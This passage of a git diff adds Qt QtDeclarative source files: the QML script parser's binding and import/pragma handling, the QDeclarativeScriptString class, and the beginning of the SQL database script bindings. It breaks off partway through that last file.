+ defineObjectBinding(node->qualifiedId, node->hasOnToken, objectType,
+ typeLocation, l, node->initializer);
+
+ return false;
+}
+
+QDeclarativeParser::Variant ProcessAST::getVariant(AST::ExpressionNode *expr)
+{
+ if (AST::StringLiteral *lit = AST::cast<AST::StringLiteral *>(expr)) {
+ return QDeclarativeParser::Variant(lit->value->asString());
+ } else if (expr->kind == AST::Node::Kind_TrueLiteral) {
+ return QDeclarativeParser::Variant(true);
+ } else if (expr->kind == AST::Node::Kind_FalseLiteral) {
+ return QDeclarativeParser::Variant(false);
+ } else if (AST::NumericLiteral *lit = AST::cast<AST::NumericLiteral *>(expr)) {
+ return QDeclarativeParser::Variant(lit->value, asString(expr));
+ } else {
+
+ if (AST::UnaryMinusExpression *unaryMinus = AST::cast<AST::UnaryMinusExpression *>(expr)) {
+ if (AST::NumericLiteral *lit = AST::cast<AST::NumericLiteral *>(unaryMinus->expression)) {
+ return QDeclarativeParser::Variant(-lit->value, asString(expr));
+ }
+ }
+
+ return QDeclarativeParser::Variant(asString(expr), expr);
+ }
+}
+
+
+// UiObjectMember: UiQualifiedId T_COLON Statement ;
+bool ProcessAST::visit(AST::UiScriptBinding *node)
+{
+ int propertyCount = 0;
+ AST::UiQualifiedId *propertyName = node->qualifiedId;
+ for (AST::UiQualifiedId *name = propertyName; name; name = name->next){
+ ++propertyCount;
+ _stateStack.pushProperty(name->name->asString(),
+ location(name));
+ }
+
+ Property *prop = currentProperty();
+
+ if (prop->values.count()) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Property value set multiple times"));
+ error.setLine(this->location(propertyName).start.line);
+ error.setColumn(this->location(propertyName).start.column);
+ _parser->_errors << error;
+ return 0;
+ }
+
+ QDeclarativeParser::Variant primitive;
+
+ if (AST::ExpressionStatement *stmt = AST::cast<AST::ExpressionStatement *>(node->statement)) {
+ primitive = getVariant(stmt->expression);
+ } else { // do binding
+ primitive = QDeclarativeParser::Variant(asString(node->statement),
+ node->statement);
+ }
+
+ prop->location.range.length = prop->location.range.offset + prop->location.range.length - node->qualifiedId->identifierToken.offset;
+ prop->location.range.offset = node->qualifiedId->identifierToken.offset;
+ QDeclarativeParser::Value *v = new QDeclarativeParser::Value;
+ v->value = primitive;
+ v->location = location(node->statement->firstSourceLocation(),
+ node->statement->lastSourceLocation());
+
+ prop->addValue(v);
+
+ while (propertyCount--)
+ _stateStack.pop();
+
+ return true;
+}
+
+static QList<int> collectCommas(AST::UiArrayMemberList *members)
+{
+ QList<int> commas;
+
+ if (members) {
+ for (AST::UiArrayMemberList *it = members->next; it; it = it->next) {
+ commas.append(it->commaToken.offset);
+ }
+ }
+
+ return commas;
+}
+
+// UiObjectMember: UiQualifiedId T_COLON T_LBRACKET UiArrayMemberList T_RBRACKET ;
+bool ProcessAST::visit(AST::UiArrayBinding *node)
+{
+ int propertyCount = 0;
+ AST::UiQualifiedId *propertyName = node->qualifiedId;
+ for (AST::UiQualifiedId *name = propertyName; name; name = name->next){
+ ++propertyCount;
+ _stateStack.pushProperty(name->name->asString(),
+ location(name));
+ }
+
+ Property* prop = currentProperty();
+
+ if (prop->values.count()) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Property value set multiple times"));
+ error.setLine(this->location(propertyName).start.line);
+ error.setColumn(this->location(propertyName).start.column);
+ _parser->_errors << error;
+ return 0;
+ }
+
+ accept(node->members);
+
+ // For the DOM, store the position of the T_LBRACKET upto the T_RBRACKET as the range:
+ prop->listValueRange.offset = node->lbracketToken.offset;
+ prop->listValueRange.length = node->rbracketToken.offset + node->rbracketToken.length - node->lbracketToken.offset;
+
+ // Store the positions of the comma token too, again for the DOM to be able to retrieve it.
+ prop->listCommaPositions = collectCommas(node->members);
+
+ while (propertyCount--)
+ _stateStack.pop();
+
+ return false;
+}
+
+bool ProcessAST::visit(AST::UiSourceElement *node)
+{
+ QDeclarativeParser::Object *obj = currentObject();
+
+ if (AST::FunctionDeclaration *funDecl = AST::cast<AST::FunctionDeclaration *>(node->sourceElement)) {
+
+ Object::DynamicSlot slot;
+ slot.location = location(funDecl->firstSourceLocation(), funDecl->lastSourceLocation());
+
+ AST::FormalParameterList *f = funDecl->formals;
+ while (f) {
+ slot.parameterNames << f->name->asString().toUtf8();
+ f = f->finish();
+ }
+
+ AST::SourceLocation loc = funDecl->rparenToken;
+ loc.offset = loc.end();
+ loc.startColumn += 1;
+ QString body = textAt(loc, funDecl->rbraceToken);
+ slot.name = funDecl->name->asString().toUtf8();
+ slot.body = body;
+ obj->dynamicSlots << slot;
+
+ } else {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","JavaScript declaration outside Script element"));
+ error.setLine(node->firstSourceLocation().startLine);
+ error.setColumn(node->firstSourceLocation().startColumn);
+ _parser->_errors << error;
+ }
+ return false;
+}
+
+} // end of anonymous namespace
+
+
+QDeclarativeScriptParser::QDeclarativeScriptParser()
+: root(0), data(0)
+{
+
+}
+
+QDeclarativeScriptParser::~QDeclarativeScriptParser()
+{
+ clear();
+}
+
+class QDeclarativeScriptParserJsASTData
+{
+public:
+ QDeclarativeScriptParserJsASTData(const QString &filename)
+ : nodePool(filename, &engine) {}
+
+ Engine engine;
+ NodePool nodePool;
+};
+
+bool QDeclarativeScriptParser::parse(const QByteArray &qmldata, const QUrl &url)
+{
+ clear();
+
+ const QString fileName = url.toString();
+ _scriptFile = fileName;
+
+ QTextStream stream(qmldata, QIODevice::ReadOnly);
+#ifndef QT_NO_TEXTCODEC
+ stream.setCodec("UTF-8");
+#endif
+ const QString code = stream.readAll();
+
+ data = new QDeclarativeScriptParserJsASTData(fileName);
+
+ Lexer lexer(&data->engine);
+ lexer.setCode(code, /*line = */ 1);
+
+ Parser parser(&data->engine);
+
+ if (! parser.parse() || !_errors.isEmpty()) {
+
+ // Extract errors from the parser
+ foreach (const DiagnosticMessage &m, parser.diagnosticMessages()) {
+
+ if (m.isWarning())
+ continue;
+
+ QDeclarativeError error;
+ error.setUrl(url);
+ error.setDescription(m.message);
+ error.setLine(m.loc.startLine);
+ error.setColumn(m.loc.startColumn);
+ _errors << error;
+
+ }
+ }
+
+ if (_errors.isEmpty()) {
+ ProcessAST process(this);
+ process(code, parser.ast());
+
+ // Set the url for process errors
+ for(int ii = 0; ii < _errors.count(); ++ii)
+ _errors[ii].setUrl(url);
+ }
+
+ return _errors.isEmpty();
+}
+
+QList<QDeclarativeScriptParser::TypeReference*> QDeclarativeScriptParser::referencedTypes() const
+{
+ return _refTypes;
+}
+
+QDeclarativeParser::Object *QDeclarativeScriptParser::tree() const
+{
+ return root;
+}
+
+QList<QDeclarativeScriptParser::Import> QDeclarativeScriptParser::imports() const
+{
+ return _imports;
+}
+
+QList<QDeclarativeError> QDeclarativeScriptParser::errors() const
+{
+ return _errors;
+}
+
+static void replaceWithSpace(QString &str, int idx, int n)
+{
+ QChar *data = str.data() + idx;
+ const QChar space(QLatin1Char(' '));
+ for (int ii = 0; ii < n; ++ii)
+ *data++ = space;
+}
+
+/*
+Searches for ".pragma <value>" declarations within \a script. Currently supported pragmas
+are:
+ library
+*/
+QDeclarativeParser::Object::ScriptBlock::Pragmas QDeclarativeScriptParser::extractPragmas(QString &script)
+{
+ QDeclarativeParser::Object::ScriptBlock::Pragmas rv = QDeclarativeParser::Object::ScriptBlock::None;
+
+ const QString pragma(QLatin1String("pragma"));
+ const QString library(QLatin1String("library"));
+
+ QDeclarativeJS::Lexer l(0);
+ l.setCode(script, 0);
+
+ int token = l.lex();
+
+ while (true) {
+ if (token != QDeclarativeJSGrammar::T_DOT)
+ return rv;
+
+ int startOffset = l.tokenOffset();
+ int startLine = l.currentLineNo();
+
+ token = l.lex();
+
+ if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+ l.currentLineNo() != startLine ||
+ script.mid(l.tokenOffset(), l.tokenLength()) != pragma)
+ return rv;
+
+ token = l.lex();
+
+ if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+ l.currentLineNo() != startLine)
+ return rv;
+
+ QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength());
+ int endOffset = l.tokenLength() + l.tokenOffset();
+
+ token = l.lex();
+ if (l.currentLineNo() == startLine)
+ return rv;
+
+ if (pragmaValue == library) {
+ rv |= QDeclarativeParser::Object::ScriptBlock::Shared;
+ replaceWithSpace(script, startOffset, endOffset - startOffset);
+ } else {
+ return rv;
+ }
+ }
+ return rv;
+}
+
+#define CHECK_LINE if(l.currentLineNo() != startLine) return rv;
+#define CHECK_TOKEN(t) if (token != QDeclarativeJSGrammar:: t) return rv;
+
+static const int uriTokens[] = {
+ QDeclarativeJSGrammar::T_IDENTIFIER,
+ QDeclarativeJSGrammar::T_PROPERTY,
+ QDeclarativeJSGrammar::T_SIGNAL,
+ QDeclarativeJSGrammar::T_READONLY,
+ QDeclarativeJSGrammar::T_ON,
+ QDeclarativeJSGrammar::T_BREAK,
+ QDeclarativeJSGrammar::T_CASE,
+ QDeclarativeJSGrammar::T_CATCH,
+ QDeclarativeJSGrammar::T_CONTINUE,
+ QDeclarativeJSGrammar::T_DEFAULT,
+ QDeclarativeJSGrammar::T_DELETE,
+ QDeclarativeJSGrammar::T_DO,
+ QDeclarativeJSGrammar::T_ELSE,
+ QDeclarativeJSGrammar::T_FALSE,
+ QDeclarativeJSGrammar::T_FINALLY,
+ QDeclarativeJSGrammar::T_FOR,
+ QDeclarativeJSGrammar::T_FUNCTION,
+ QDeclarativeJSGrammar::T_IF,
+ QDeclarativeJSGrammar::T_IN,
+ QDeclarativeJSGrammar::T_INSTANCEOF,
+ QDeclarativeJSGrammar::T_NEW,
+ QDeclarativeJSGrammar::T_NULL,
+ QDeclarativeJSGrammar::T_RETURN,
+ QDeclarativeJSGrammar::T_SWITCH,
+ QDeclarativeJSGrammar::T_THIS,
+ QDeclarativeJSGrammar::T_THROW,
+ QDeclarativeJSGrammar::T_TRUE,
+ QDeclarativeJSGrammar::T_TRY,
+ QDeclarativeJSGrammar::T_TYPEOF,
+ QDeclarativeJSGrammar::T_VAR,
+ QDeclarativeJSGrammar::T_VOID,
+ QDeclarativeJSGrammar::T_WHILE,
+ QDeclarativeJSGrammar::T_CONST,
+ QDeclarativeJSGrammar::T_DEBUGGER,
+ QDeclarativeJSGrammar::T_RESERVED_WORD,
+ QDeclarativeJSGrammar::T_WITH,
+
+ QDeclarativeJSGrammar::EOF_SYMBOL
+};
+static inline bool isUriToken(int token)
+{
+ const int *current = uriTokens;
+ while (*current != QDeclarativeJSGrammar::EOF_SYMBOL) {
+ if (*current == token)
+ return true;
+ ++current;
+ }
+ return false;
+}
+
+QDeclarativeScriptParser::JavaScriptMetaData QDeclarativeScriptParser::extractMetaData(QString &script)
+{
+ JavaScriptMetaData rv;
+
+ QDeclarativeParser::Object::ScriptBlock::Pragmas &pragmas = rv.pragmas;
+
+ const QString pragma(QLatin1String("pragma"));
+ const QString js(QLatin1String(".js"));
+ const QString library(QLatin1String("library"));
+
+ QDeclarativeJS::Lexer l(0);
+ l.setCode(script, 0);
+
+ int token = l.lex();
+
+ while (true) {
+ if (token != QDeclarativeJSGrammar::T_DOT)
+ return rv;
+
+ int startOffset = l.tokenOffset();
+ int startLine = l.currentLineNo();
+
+ token = l.lex();
+
+ CHECK_LINE;
+
+ if (token == QDeclarativeJSGrammar::T_IMPORT) {
+
+ // .import <URI> <Version> as <Identifier>
+ // .import <file.js> as <Identifier>
+
+ token = l.lex();
+
+ CHECK_LINE;
+
+ if (token == QDeclarativeJSGrammar::T_STRING_LITERAL) {
+
+ QString file(l.characterBuffer(), l.characterCount());
+ if (!file.endsWith(js))
+ return rv;
+
+ token = l.lex();
+
+ CHECK_TOKEN(T_AS);
+ CHECK_LINE;
+
+ token = l.lex();
+
+ CHECK_TOKEN(T_IDENTIFIER);
+ CHECK_LINE;
+
+ int endOffset = l.tokenLength() + l.tokenOffset();
+
+ QString importId = script.mid(l.tokenOffset(), l.tokenLength());
+
+ if (!importId.at(0).isUpper())
+ return rv;
+
+ token = l.lex();
+ if (l.currentLineNo() == startLine)
+ return rv;
+
+ replaceWithSpace(script, startOffset, endOffset - startOffset);
+
+ Import import;
+ import.type = Import::Script;
+ import.uri = file;
+ import.qualifier = importId;
+
+ rv.imports << import;
+
+ } else {
+ // URI
+ QString uri;
+ QString version;
+
+ while (true) {
+ if (!isUriToken(token))
+ return rv;
+
+ uri.append(QString(l.characterBuffer(), l.characterCount()));
+
+ token = l.lex();
+ CHECK_LINE;
+ if (token != QDeclarativeJSGrammar::T_DOT)
+ break;
+
+ uri.append(QLatin1Char('.'));
+
+ token = l.lex();
+ CHECK_LINE;
+ }
+
+ CHECK_TOKEN(T_NUMERIC_LITERAL);
+ version = script.mid(l.tokenOffset(), l.tokenLength());
+
+ token = l.lex();
+
+ CHECK_TOKEN(T_AS);
+ CHECK_LINE;
+
+ token = l.lex();
+
+ CHECK_TOKEN(T_IDENTIFIER);
+ CHECK_LINE;
+
+ int endOffset = l.tokenLength() + l.tokenOffset();
+
+ QString importId = script.mid(l.tokenOffset(), l.tokenLength());
+
+ if (!importId.at(0).isUpper())
+ return rv;
+
+ token = l.lex();
+ if (l.currentLineNo() == startLine)
+ return rv;
+
+ replaceWithSpace(script, startOffset, endOffset - startOffset);
+
+ Import import;
+ import.type = Import::Library;
+ import.uri = uri;
+ import.version = version;
+ import.qualifier = importId;
+
+ rv.imports << import;
+ }
+
+ } else if (token == QDeclarativeJSGrammar::T_IDENTIFIER &&
+ script.mid(l.tokenOffset(), l.tokenLength()) == pragma) {
+
+ token = l.lex();
+
+ CHECK_TOKEN(T_IDENTIFIER);
+ CHECK_LINE;
+
+ QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength());
+ int endOffset = l.tokenLength() + l.tokenOffset();
+
+ if (pragmaValue == QLatin1String("library")) {
+ pragmas |= QDeclarativeParser::Object::ScriptBlock::Shared;
+ replaceWithSpace(script, startOffset, endOffset - startOffset);
+ } else {
+ return rv;
+ }
+
+ token = l.lex();
+ if (l.currentLineNo() == startLine)
+ return rv;
+
+ } else {
+ return rv;
+ }
+ }
+ return rv;
+}
+
+void QDeclarativeScriptParser::clear()
+{
+ if (root) {
+ root->release();
+ root = 0;
+ }
+ _imports.clear();
+ qDeleteAll(_refTypes);
+ _refTypes.clear();
+ _errors.clear();
+
+ if (data) {
+ delete data;
+ data = 0;
+ }
+}
+
+QDeclarativeScriptParser::TypeReference *QDeclarativeScriptParser::findOrCreateType(const QString &name)
+{
+ TypeReference *type = 0;
+ int i = 0;
+ for (; i < _refTypes.size(); ++i) {
+ if (_refTypes.at(i)->name == name) {
+ type = _refTypes.at(i);
+ break;
+ }
+ }
+ if (!type) {
+ type = new TypeReference(i, name);
+ _refTypes.append(type);
+ }
+
+ return type;
+}
+
+void QDeclarativeScriptParser::setTree(QDeclarativeParser::Object *tree)
+{
+ Q_ASSERT(! root);
+
+ root = tree;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativescriptparser_p.h b/src/declarative/qml/qdeclarativescriptparser_p.h
new file mode 100644
index 00000000..39958e10
--- /dev/null
+++ b/src/declarative/qml/qdeclarativescriptparser_p.h
@@ -0,0 +1,148 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef QDECLARATIVESCRIPTPARSER_P_H
+#define QDECLARATIVESCRIPTPARSER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeerror.h"
+#include "private/qdeclarativeparser_p.h"
+
+#include <QtCore/QList>
+#include <QtCore/QUrl>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QByteArray;
+
+class QDeclarativeScriptParserJsASTData;
+class QDeclarativeScriptParser
+{
+public:
+ class Import
+ {
+ public:
+ Import() : type(Library) {}
+
+ enum Type { Library, File, Script };
+ Type type;
+
+ QString uri;
+ QString qualifier;
+ QString version;
+
+ QDeclarativeParser::LocationSpan location;
+ };
+
+ class TypeReference
+ {
+ public:
+ TypeReference(int typeId, const QString &typeName) : id(typeId), name(typeName) {}
+
+ int id;
+ // type as it has been referenced in Qml
+ QString name;
+ // objects in parse tree referencing the type
+ QList<QDeclarativeParser::Object*> refObjects;
+ };
+
+ QDeclarativeScriptParser();
+ ~QDeclarativeScriptParser();
+
+ bool parse(const QByteArray &data, const QUrl &url = QUrl());
+
+ QList<TypeReference*> referencedTypes() const;
+
+ QDeclarativeParser::Object *tree() const;
+ QList<Import> imports() const;
+
+ void clear();
+
+ QList<QDeclarativeError> errors() const;
+
+ class JavaScriptMetaData {
+ public:
+ JavaScriptMetaData()
+ : pragmas(QDeclarativeParser::Object::ScriptBlock::None) {}
+
+ QDeclarativeParser::Object::ScriptBlock::Pragmas pragmas;
+ QList<Import> imports;
+ };
+
+ static QDeclarativeParser::Object::ScriptBlock::Pragmas extractPragmas(QString &);
+ static JavaScriptMetaData extractMetaData(QString &);
+
+
+// ### private:
+ TypeReference *findOrCreateType(const QString &name);
+ void setTree(QDeclarativeParser::Object *tree);
+
+ void setScriptFile(const QString &filename) {_scriptFile = filename; }
+ QString scriptFile() const { return _scriptFile; }
+
+// ### private:
+ QList<QDeclarativeError> _errors;
+
+ QDeclarativeParser::Object *root;
+ QList<Import> _imports;
+ QList<TypeReference*> _refTypes;
+ QString _scriptFile;
+ QDeclarativeScriptParserJsASTData *data;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESCRIPTPARSER_P_H
diff --git a/src/declarative/qml/qdeclarativescriptstring.cpp b/src/declarative/qml/qdeclarativescriptstring.cpp
new file mode 100644
index 00000000..4f9da3a1
--- /dev/null
+++ b/src/declarative/qml/qdeclarativescriptstring.cpp
@@ -0,0 +1,166 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativescriptstring.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeScriptStringPrivate : public QSharedData
+{
+public:
+ QDeclarativeScriptStringPrivate() : context(0), scope(0) {}
+
+ QDeclarativeContext *context;
+ QObject *scope;
+ QString script;
+};
+
+/*!
+\class QDeclarativeScriptString
+\since 4.7
+\brief The QDeclarativeScriptString class encapsulates a script and its context.
+
+QDeclarativeScriptString is used to create QObject properties that accept a script "assignment" from QML.
+
+Normally, the following QML would result in a binding being established for the \c script
+property; i.e. \c script would be assigned the value obtained from running \c {myObj.value = Math.max(myValue, 100)}
+
+\qml
+MyType {
+ script: myObj.value = Math.max(myValue, 100)
+}
+\endqml
+
+If instead the property had a type of QDeclarativeScriptString,
+the script itself -- \e {myObj.value = Math.max(myValue, 100)} -- would be passed to the \c script property
+and the class could choose how to handle it. Typically, the class will evaluate
+the script at some later time using a QDeclarativeExpression.
+
+\code
+QDeclarativeExpression expr(scriptString.context(), scriptString.script(), scriptStr.scopeObject());
+expr.value();
+\endcode
+
+\sa QDeclarativeExpression
+*/
+
+/*!
+Constructs an empty instance.
+*/
+QDeclarativeScriptString::QDeclarativeScriptString()
+: d(new QDeclarativeScriptStringPrivate)
+{
+}
+
+/*!
+Copies \a other.
+*/
+QDeclarativeScriptString::QDeclarativeScriptString(const QDeclarativeScriptString &other)
+: d(other.d)
+{
+}
+
+/*!
+\internal
+*/
+QDeclarativeScriptString::~QDeclarativeScriptString()
+{
+}
+
+/*!
+Assigns \a other to this.
+*/
+QDeclarativeScriptString &QDeclarativeScriptString::operator=(const QDeclarativeScriptString &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+Returns the context for the script.
+*/
+QDeclarativeContext *QDeclarativeScriptString::context() const
+{
+ return d->context;
+}
+
+/*!
+Sets the \a context for the script.
+*/
+void QDeclarativeScriptString::setContext(QDeclarativeContext *context)
+{
+ d->context = context;
+}
+
+/*!
+Returns the scope object for the script.
+*/
+QObject *QDeclarativeScriptString::scopeObject() const
+{
+ return d->scope;
+}
+
+/*!
+Sets the scope \a object for the script.
+*/
+void QDeclarativeScriptString::setScopeObject(QObject *object)
+{
+ d->scope = object;
+}
+
+/*!
+Returns the script text.
+*/
+QString QDeclarativeScriptString::script() const
+{
+ return d->script;
+}
+
+/*!
+Sets the \a script text.
+*/
+void QDeclarativeScriptString::setScript(const QString &script)
+{
+ d->script = script;
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativescriptstring.h b/src/declarative/qml/qdeclarativescriptstring.h
new file mode 100644
index 00000000..cda847ff
--- /dev/null
+++ b/src/declarative/qml/qdeclarativescriptstring.h
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESCRIPTSTRING_H
+#define QDECLARATIVESCRIPTSTRING_H
+
+#include <QtCore/qstring.h>
+#include <QtCore/qshareddata.h>
+#include <QtCore/qmetatype.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QObject;
+class QDeclarativeContext;
+class QDeclarativeScriptStringPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeScriptString
+{
+public:
+ QDeclarativeScriptString();
+ QDeclarativeScriptString(const QDeclarativeScriptString &);
+ ~QDeclarativeScriptString();
+
+ QDeclarativeScriptString &operator=(const QDeclarativeScriptString &);
+
+ QDeclarativeContext *context() const;
+ void setContext(QDeclarativeContext *);
+
+ QObject *scopeObject() const;
+ void setScopeObject(QObject *);
+
+ QString script() const;
+ void setScript(const QString &);
+
+private:
+ QSharedDataPointer<QDeclarativeScriptStringPrivate> d;
+};
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeScriptString)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESCRIPTSTRING_H
+
diff --git a/src/declarative/qml/qdeclarativesqldatabase.cpp b/src/declarative/qml/qdeclarativesqldatabase.cpp
new file mode 100644
index 00000000..ed44b207
--- /dev/null
+++ b/src/declarative/qml/qdeclarativesqldatabase.cpp
@@ -0,0 +1,448 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativesqldatabase_p.h"
+
+#include "qdeclarativeengine.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativerefcount_p.h"
+#include "private/qdeclarativeengine_p.h"
+
+#include <QtCore/qobject.h>
+#include <QtScript/qscriptvalue.h>
+#include <QtScript/qscriptvalueiterator.h>
+#include <QtScript/qscriptcontext.h>
+#include <QtScript/qscriptengine.h>
+#include <QtScript/qscriptclasspropertyiterator.h>
+#include <QtSql/qsqldatabase.h>
+#include <QtSql/qsqlquery.h>
+#include <QtSql/qsqlerror.h>
+#include <QtSql/qsqlrecord.h>
+#include <QtCore/qstack.h>
+#include <QtCore/qcryptographichash.h>
+#include <QtCore/qsettings.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qdebug.h>
+
+Q_DECLARE_METATYPE(QSqlDatabase)
+Q_DECLARE_METATYPE(QSqlQuery)
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeSqlQueryScriptClass: public QScriptClass {
+public:
+ QDeclarativeSqlQueryScriptClass(QScriptEngine *engine) : QScriptClass(engine)
+ {
+ str_length = engine->toStringHandle(QLatin1String("length"));
+ str_forwardOnly = engine->toStringHandle(QLatin1String("forwardOnly")); // not in HTML5 (an optimization)
+ }
+
+ QueryFlags queryProperty(const QScriptValue &,
+ const QScriptString &name,
+ QueryFlags flags, uint *)
+ {
+ if (flags & HandlesReadAccess) {
+ if (name == str_length) {
+ return HandlesReadAccess;
+ } else if (name == str_forwardOnly) {
+ return flags;
+ }
+ }
+ if (flags & HandlesWriteAccess)
+ if (name == str_forwardOnly)
+ return flags;
+ return 0;
+ }
+
+ QScriptValue property(const QScriptValue &object,
+ const QScriptString &name, uint)
+ {
+ QSqlQuery query = qscriptvalue_cast<QSqlQuery>(object.data());
+ if (name == str_length) {
+ int s = query.size();
+ if (s<0) {
+ // Inefficient.
+ if (query.last()) {
+ return query.at()+1;
+ } else {
+ return 0;
+ }
+ } else {
+ return s;
+ }
+ } else if (name == str_forwardOnly) {
+ return query.isForwardOnly();
+ }
+ return engine()->undefinedValue();
+ }
+
+ void setProperty(QScriptValue &object,
+ const QScriptString &name, uint, const QScriptValue & value)
+ {
+ if (name == str_forwardOnly) {
+ QSqlQuery query = qscriptvalue_cast<QSqlQuery>(object.data());
+ query.setForwardOnly(value.toBool());
+ }
+ }
+
+ QScriptValue::PropertyFlags propertyFlags(const QScriptValue &/*object*/, const QScriptString &name, uint /*id*/)
+ {
+ if (name == str_length) {
